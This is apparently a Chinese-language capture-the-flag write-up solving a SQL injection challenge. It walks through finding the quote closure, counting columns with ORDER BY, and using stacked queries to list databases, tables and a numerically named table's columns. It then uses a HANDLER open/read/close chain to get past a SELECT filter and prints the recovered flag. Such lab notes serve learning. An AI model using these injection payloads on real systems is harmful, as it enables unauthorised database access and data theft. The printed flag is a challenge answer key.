题目1.......判断闭合符
## 测试 1' 成功注入
2.......判断列 order by
测试1' order by 3-- +报错
测试1' order by 2-- +正常 ( 有两列)
3测试回显位置 1'select 1,2-- + 发现这些关键字被过滤了
4堆叠注入
原理是通过;号注入多条sql语句
先暴库1';show databases;-- + (无发现)
暴表1';show tables;-- + 发现两个表一个一个测,来暴字段
5先查看数字表 因为全是数字所以要用` 反引号引起来
1';show columns from `1919810931114514` -- + 发现里面有flag 但是select被过滤可以用md5编码来构造payload来绕过过滤(我不会构造)
6用handler语句攻击链,用于绕过常规sql注入
知识点:
1';handler flaghere open;handler flaghere read first; handler flaghere close;-- +
1';终止原SQL查询,开启新语句。
handler flaghere open以底层文件方式打开名为 FlagHere 的表。
handler flaghere read first读取表的第一行数据。
handler flaghere close关闭表句柄。
-- +注释掉后续语句,避免语法错误。
.....来实操一下用下面的语句 用已知道的字段`1919810931114514`直接套用
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;-- +
拿到flag
flag{dec06a52-3e8e-4376-bf9a-2dcf706028b9}